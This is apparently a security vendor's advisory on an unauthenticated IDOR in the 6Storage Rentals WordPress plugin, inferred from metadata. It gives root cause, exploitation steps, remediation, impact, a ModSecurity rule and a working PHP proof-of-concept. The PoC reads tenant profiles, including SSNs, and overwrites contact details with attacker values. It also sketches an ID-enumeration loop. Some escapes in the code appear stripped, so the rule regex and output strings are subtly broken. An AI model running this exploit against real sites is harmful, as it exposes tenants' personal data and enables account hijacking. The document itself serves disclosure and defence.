Atomic Edge analysis of CVE-2026-9185 (metadata-based): This vulnerability affects the 6Storage Rentals plugin for WordPress versions up to and including 2.22.0. It allows unauthenticated attackers to read and modify arbitrary tenant profile data via the ‘userId’ parameter. The CVSS score of 7.5 reflects a high confidentiality impact with no required privileges or user interaction.
Root Cause: The likely root cause is the registration of AJAX handlers on ‘wp_ajax_nopriv_’ hooks for both ‘six_storage_get_user_info’ and ‘six_storage_update_profile’ actions. These functions accept a tenant identifier via the ‘userId’ POST parameter. They fail to verify that the current user session corresponds to the supplied ‘userId’. No nonce validation, capability check, or ownership verification is performed. This allows direct access to functions that query and update tenant data using the user-controlled ID. This analysis is inferred from the CWE classification (639 Authorization Bypass Through User-Controlled Key) and the vulnerability description, as no source code diff is available for confirmation.
Exploitation: An unauthenticated attacker can craft POST requests to ‘/wp-admin/admin-ajax.php’ with the action parameter set to ‘six_storage_get_user_info’ or ‘six_storage_update_profile’. The attacker includes a ‘userId’ parameter with an enumerated numeric value. For ‘six_storage_get_user_info’, the response contains the tenant’s profile data including name, email, phone number, physical address, and SSN. For ‘six_storage_update_profile’, the attacker can modify these fields by supplying additional POST parameters for the fields to change. No authentication token or nonce is required. Attackers can enumerate valid ‘userId’ values by iterating through integers or obtaining them through other means.
Remediation: The plugin must validate that the authenticated user has ownership or administrative privileges over the supplied ‘userId’. For unauthenticated access, the AJAX handlers should be moved to ‘wp_ajax_’ hooks (requiring authentication) or implement proper capability checks using current_user_can(). The plugin should use WordPress nonces for CSRF protection and verify the nonce before processing requests. Each tenant’s data should only be accessible to the tenant themselves or an authorized administrator (e.g., via current_user_can(‘manage_options’)). Without code access, the exact fix cannot be confirmed, but these patterns directly address the CWE.
Impact: Successful exploitation allows an unauthenticated attacker to retrieve sensitive personal information of any tenant, including Social Security Numbers (SSNs). This is a severe data breach. The attacker can also modify tenant profiles, potentially changing email addresses to hijack accounts, altering contact information for identity theft, or corrupting critical rental management data. The ability to both read and write tenant data without authorization enables comprehensive privacy violations and business disruption.
Here you will find our ModSecurity compatible rule to protect against this particular CVE.
# Atomic Edge WAF Rule - CVE-2026-9185 (metadata-based)
# Blocks unauthenticated IDOR exploitation of 6Storage Rentals via AJAX handlers
SecRule REQUEST_URI "@streq /wp-admin/admin-ajax.php"
"id:20261994,phase:2,deny,status:403,chain,msg:'CVE-2026-9185 - 6Storage Rentals IDOR via AJAX',severity:'CRITICAL',tag:'CVE-2026-9185'"
SecRule ARGS_POST:action "@rx ^six_storage_get_user_info$|^six_storage_update_profile$"
"chain"
SecRule ARGS_POST:userId "@rx ^d+$"
"t:none"
<?php
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept (metadata-based)
// CVE-2026-9185 - 6Storage Rentals <= 2.22.0 - Unauthenticated Insecure Direct Object Reference to Arbitrary User Disclosure and Modification via 'userId' Parameter
// This PoC demonstrates reading and modifying arbitrary tenant profile data
// Assumptions:
// 1. The plugin registers AJAX handlers named 'six_storage_get_user_info' and 'six_storage_update_profile'
// 2. These handlers accept a 'userId' parameter without authentication
// 3. The target WordPress site uses standard admin-ajax.php
// === CONFIGURATION ===
$target_url = 'http://example.com/wp-admin/admin-ajax.php'; // Change to target site
$user_id_to_enumerate = 1; // Start with a low integer ID to probe
// === STEP 1: Read tenant profile ===
echo "[+] Attempting to read tenant profile for userId: $user_id_to_enumeraten";
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $target_url);
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query(array(
'action' => 'six_storage_get_user_info',
'userId' => $user_id_to_enumerate
)));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_HTTPHEADER, array('Content-Type: application/x-www-form-urlencoded'));
$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
curl_close($ch);
if ($http_code !== 200 || empty($response)) {
die("[-] Failed to read tenant profile. HTTP code: $http_coden");
}
echo "[+] Response from read attempt:n$responsenn";
// === STEP 2: Modify tenant profile ===
// Assumption: The update handler expects fields like 'name', 'email', 'phone', 'address', 'ssn'
$updated_data = array(
'action' => 'six_storage_update_profile',
'userId' => $user_id_to_enumerate,
'name' => 'Attacker Name',
'email' => 'attacker@example.com',
'phone' => '555-1234'
);
echo "[+] Attempting to modify tenant profile for userId: $user_id_to_enumeraten";
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $target_url);
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($updated_data));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_HTTPHEADER, array('Content-Type: application/x-www-form-urlencoded'));
$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
curl_close($ch);
if ($http_code !== 200) {
echo "[-] Update attempt failed. HTTP code: $http_coden";
} else {
echo "[+] Update response:n$responsen";
}
// === STEP 3: Brute force enumeration (commented out for safety) ===
// For i in range(1, 100): repeat read with userId = i
// Uncomment below to iterate through IDs (use with caution)
/*
for ($i = 1; $i <= 100; $i++) {
// Same logic as step 1, but with $i as userId
// Add rate limiting if needed
}
*/
?>
